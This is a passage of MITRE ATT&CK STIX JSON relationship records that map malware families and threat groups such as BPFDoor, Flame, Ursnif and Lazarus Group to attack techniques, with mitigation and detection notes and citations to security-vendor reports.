","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b96aae7-0234-496c-abb5-6d9600041d7b","type":"relationship","created":"2020-02-21T15:58:20.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T20:41:09.227Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b979855-6b0e-4230-b940-d57d35787cbf","created":"2024-09-23T18:17:46.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Deep Instinct BPFDoor 2023","description":"Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.","url":"https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T18:18:32.802Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) set's it's process to ignore the following signals; `SIGHUP`, `SIGINT`, `SIGQUIT`, `SIGPIPE`, `SIGCHLD`, `SIGTTIN`, and `SIGTTOU`.(Citation: Deep Instinct BPFDoor 2023)","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b9bc78d-87b4-46a7-a5f9-73060535c47d","type":"relationship","created":"2020-07-23T14:20:48.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.609Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) can execute remote commands in the Windows command shell using the WinExec() API.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ba62129-a4ba-42b4-9971-4a650682cb52","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-flame-questions-and-answers-51/34344/","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"}],"modified":"2019-06-06T14:35:54.015Z","description":"[Flame](https://attack.mitre.org/software/S0143) can take regular screenshots when certain applications are open that are sent to the command and control server.(Citation: Kaspersky Flame)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bade69a-16f3-4d2d-bec5-c7dc76358787","type":"relationship","created":"2022-02-08T16:02:12.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"modified":"2022-02-08T16:20:46.397Z","description":"[TrailBlazer](https://attack.mitre.org/software/S0682) can masquerade its C2 traffic as legitimate Google Notifications HTTP requests.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bae5d92-dcc7-41c7-a116-58e9c9e84401","type":"relationship","created":"2020-01-28T17:05:15.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:17:03.935Z","description":"Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bb2d594-36dc-458d-9f9b-8a3df42fac67","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.671Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7bb7b19e-83dc-4095-83b5-f647bf5f2800","created":"2023-03-22T05:43:38.655Z","revoked":false,"external_references":[{"source_name":"Bromium Ursnif Mar 2017","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.","url":"https://www.bromium.com/how-ursnif-evades-detection/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:43:38.655Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers execute base64 encoded [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7bbc0809-d6ba-4be5-9397-e44b9481f317","created":"2022-01-11T14:58:01.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.927Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can load DLLs.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bbd6131-24cd-437e-8057-02f84b357cbe","type":"relationship","created":"2021-10-07T21:28:23.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:23:16.099Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) will compress entire ~/Desktop folders excluding all .git folders, but only if the total data size is under 200MB.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7bbe8987-5cb2-464d-8874-56825164313c","created":"2022-09-30T20:47:52.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:16:20.319Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has deleted files it has created on a compromised host.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bc61687-f105-403f-b83f-91168c8f41ad","type":"relationship","created":"2020-11-06T18:52:33.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T18:52:33.029Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has manipulated timestamps for creation or compilation dates to defeat anti-forensics.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7bd145ae-5ad2-48cc-8438-5b9ec8ed5414","created":"2021-03-11T16:52:13.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.139Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can use Cron to create periodic and pre-scheduled background jobs.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bd8ad9d-329f-469e-aa9c-1951cbc63a26","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7bda4cc5-09d8-4e0e-87af-f33cdb7a63d1","created":"2022-09-22T18:24:48.348Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:24:48.348Z","description":"During [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) relied on student targets to click on a malicious link sent via email.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bdcd3e6-f741-4f62-9495-3111309adad8","type":"relationship","created":"2019-06-24T12:06:10.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:43:31.175Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bde54d7-257c-4c68-920e-bd78fe282f14","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T01:37:29.803Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can communicate over FTP.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7be0437f-1d0d-4df0-9e66-70e581cc5f1a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:26.401Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can obtain running services on the victim.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bf27f61-0191-4c20-ae96-96c38322470d","type":"relationship","created":"2021-10-11T18:53:48.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.810Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has a command built in to use a raw TCP socket.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bf67f44-6349-4576-8145-44e53a91676a","type":"relationship","created":"2020-03-11T14:58:52.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-11T14:58:52.196Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bf6a452-db06-4b7a-b177-678fdf841fbf","type":"relationship","created":"2021-06-03T19:53:52.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-15T16:25:26.957Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can download files to a compromised host.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7bf7f711-823d-41b8-8e88-801f7fa98591","created":"2023-12-06T20:11:27.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"},{"source_name":"Microsoft Log4j Vulnerability Exploitation December 2021","description":"Microsoft Threat Intelligence. (2021, December 11). Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability. Retrieved December 7, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-27T18:03:37.575Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has exploited multiple unpatched vulnerabilities for initial access including vulnerabilities in Microsoft Exchange, Manage Engine AdSelfService Plus, Confluence, and Log4j.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Log4j Vulnerability Exploitation December 2021)(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bfc7122-2dc2-4fd3-be98-2ab87ba4a530","type":"relationship","created":"2019-02-18T20:16:12.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2019-04-23T19:32:14.748Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) uses a DGA to communicate with command and control servers.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-16T23:58:58.747Z","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to retrieve metadata for files on disk as well as a command to list the current working directory.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c119557-d417-4708-a024-5be9c4d4d86c","type":"relationship","created":"2020-05-06T17:47:43.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}],"modified":"2020-07-07T14:05:07.563Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to proxy communications with command and control (C2) servers.(Citation: JPCert BlackTech Malware September 2019)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c18e59d-3448-462c-aaa7-bf03b9ea5780","type":"relationship","created":"2019-06-20T16:44:52.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2019-07-17T01:18:33.176Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) runs the ipconfig /all command.(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7c1e0451-66d7-4445-9b8d-8d9770043421","created":"2022-02-01T14:23:04.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T13:38:19.862Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used VBA and embedded macros in Word documents to execute malicious code.(Citation: Lazarus APT January 2022)(Citation: Qualys 